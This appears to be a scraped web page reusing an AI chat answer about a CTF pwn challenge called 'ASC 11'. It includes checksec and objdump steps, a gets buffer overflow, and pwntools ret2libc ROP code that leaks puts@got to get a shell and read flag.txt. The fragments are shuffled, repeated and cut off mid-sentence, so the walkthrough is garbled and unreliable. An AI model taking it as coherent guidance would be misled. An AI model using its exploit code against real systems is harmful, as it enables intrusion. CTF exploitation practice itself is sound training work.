Asc 11 _top_ File

p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge?

Here’s a (likely referring to the 11th Allied Security CTF challenge, or a similar “ASC” CTF / wargame).

./asc11 It prints "Input: " , waits for input, then exits. Open in Ghidra/IDA. The main function: asc 11

payload2 = b'A'*offset + rop2.chain() p.sendlineafter(b'Input: ', payload2)

p = process('./asc11') offset = 40 ROP to leak puts@got rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.symbols['main']) Here’s a (likely referring to the 11th Allied

objdump -d asc11 | grep -E "win|system|shell" If none, we need ret2libc.

gets → classic buffer overflow. No canary, PIE off → easy ret2win/ret2libc. Use gdb + pattern create (from pwntools or msf-pattern ): The main function: payload2 = b'A'*offset + rop2

file asc11 checksec asc11 Output (example):